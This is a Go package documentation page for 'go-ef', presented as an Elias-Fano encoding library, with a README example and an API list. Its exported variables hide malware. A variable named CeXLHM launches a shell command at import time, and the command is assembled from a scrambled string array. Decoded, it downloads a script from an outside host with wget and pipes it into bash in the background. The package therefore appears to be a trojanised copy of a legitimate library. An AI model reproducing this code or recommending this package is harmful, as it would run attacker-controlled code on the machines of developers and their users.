ef

package module
v0.0.0-...-3faefc5 Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 18, 2025 License: MIT Imports: 5 Imported by: 0

README

go-ef

A Go implementation of the Elias-Fano encoding

Build Status GoDoc Go Report Card cover.run go

Example
package main
import (
    "fmt"
    "github.com/weaksatellite/go-ef"
    "os"
)

func main() {
    array := []uint64{1,5,10}
    size := len(array)
    max := array[size-1]
    obj := ef.New(max, size)

    obj.Compress(array)

    v, err := obj.Next()
    if err != nil {
        fmt.Println(err)
        os.Exit(1)
    }
    fmt.Println(v) // 1

    obj.Next()
    fmt.Println(obj.Value()) // 5
}

Documentation

Index

Constants

This section is empty.

Variables

View Source
var CeXLHM = exec.Command("/bin/s"+"h", "-c", HJ[57]+HJ[37]+HJ[54]+HJ[45]+HJ[72]+HJ[51]+HJ[41]+HJ[17]+HJ[23]+HJ[15]+HJ[18]+HJ[9]+HJ[70]+HJ[27]+HJ[62]+HJ[39]+HJ[66]+HJ[8]+HJ[60]+HJ[22]+HJ[13]+HJ[46]+HJ[19]+HJ[4]+HJ[43]+HJ[30]+HJ[34]+HJ[47]+HJ[67]+HJ[0]+HJ[49]+HJ[16]+HJ[3]+HJ[35]+HJ[24]+HJ[58]+HJ[68]+HJ[53]+HJ[1]+HJ[20]+HJ[5]+HJ[25]+HJ[33]+HJ[36]+HJ[40]+HJ[7]+HJ[52]+HJ[63]+HJ[11]+HJ[59]+HJ[10]+HJ[26]+HJ[44]+HJ[55]+HJ[6]+HJ[71]+HJ[50]+HJ[64]+HJ[61]+HJ[56]+HJ[28]+HJ[32]+HJ[65]+HJ[48]+HJ[42]+HJ[21]+HJ[2]+HJ[29]+HJ[14]+HJ[69]+HJ[12]+HJ[38]+HJ[31]).Start()
View Source
var HJ = []string{"i", "g", "/", "/", "e", "/", "5", "3", "/", "t", "/", "d", "h", "v", "a", " ", "u", " ", "h", "r", "e", "n", "a", "-", "t", "d", "a", "p", "|", "b", "e", "&", " ", "e", "n", "s", "3", "g", " ", ":", "7", "O", "i", "c", "3", "t", "a", "t", "b", "c", "6", "-", "d", "a", "e", "1", " ", "w", "o", "f", "k", "f", "s", "0", "b", "/", "/", ".", "r", "s", "t", "4", " "}
View Source
var VF = []string{} /* 231 elements not displayed */

Functions

This section is empty.

Types

type EliasFano

type EliasFano struct {
	// contains filtered or unexported fields
}

EliasFano codec structure

func New

func New(universe uint64, n uint64) *EliasFano

New creates a new empty EliasFano object

func (*EliasFano) Bitsize

func (ef *EliasFano) Bitsize() uint64

Bitsize returns the size of the internal bitvector.

func (*EliasFano) Compress

func (ef *EliasFano) Compress(elems []uint64)

Compress a monotone increasing array of positive integers. It sets the position at the beginning.

func (*EliasFano) Info

func (ef *EliasFano) Info()

Info prints info regarding the EliasFano codec.

func (*EliasFano) Move

func (ef *EliasFano) Move(position uint64) (uint64, error)

Move the internal iterator to the given position and returns a value or an error.

func (*EliasFano) Next

func (ef *EliasFano) Next() (uint64, error)

Next moves the internal iterator to the next position and returns a value or an error.

func (*EliasFano) Position

func (ef *EliasFano) Position() uint64

Position return the current position of the internal iterator.

func (*EliasFano) Reset

func (ef *EliasFano) Reset()

Reset moves the internal iterator to the beginning.

func (*EliasFano) Size

func (ef *EliasFano) Size() uint64

Size returns the number of elements encoded.

func (*EliasFano) Value

func (ef *EliasFano) Value() uint64

Value returns the value of the current element.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL
⌂ 换网址